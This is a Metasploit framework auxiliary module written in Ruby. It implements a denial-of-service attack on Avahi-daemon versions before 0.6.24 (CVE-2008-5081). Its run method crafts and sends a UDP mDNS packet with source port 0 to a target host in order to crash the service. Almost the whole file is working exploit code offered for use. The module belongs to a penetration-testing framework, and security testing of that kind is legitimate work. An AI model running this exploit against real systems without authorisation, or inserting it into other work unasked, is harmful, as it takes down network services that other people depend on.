1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Capture
8
  include Msf::Auxiliary::Dos
9

10
  def initialize
11
    super(
12
      'Name' => 'Avahi Source Port 0 DoS',
13
      'Description' => %q{
14
        Avahi-daemon versions prior to 0.6.24 can be DoS'd
15
        with an mDNS packet with a source port of 0.
16
      },
17
      'Author' => 'kris katterjohn',
18
      'License' => MSF_LICENSE,
19
      'References' => [
20
        [ 'CVE', '2008-5081' ],
21
        [ 'OSVDB', '50929' ],
22
      ],
23
      'DisclosureDate' => 'Nov 14 2008',
24
      'Notes' => {
25
        'Stability' => [CRASH_SERVICE_DOWN],
26
        'SideEffects' => [],
27
        'Reliability' => []
28
      }
29
    )
30

31
    register_options([
32
      OptInt.new('RPORT', [true, 'The destination port', 5353])
33
    ])
34

35
    deregister_options('FILTER', 'PCAPFILE')
36
  end
37

38
  def run
39
    open_pcap
40

41
    print_status("Sending to #{rhost}")
42

43
    p = PacketFu::UDPPacket.new
44
    p.ip_saddr = '0.0.0.0'
45
    p.ip_daddr = rhost
46
    p.ip_frag = 0x4000 # Original had ip frag flags set to 2 for some reason.
47
    p.udp_sport = 0 # That's the bug
48
    p.udp_dport = datastore['RPORT'].to_i
49
    p.payload = Rex::Text.rand_text(1..0x20) # UDP needs at least one data byte, may as well send a few.
50
    p.recalc
51
    capture_sendto(p, rhost) and print_status('Avahi should be down now')
52
    close_pcap
53
  end
54
end
55

56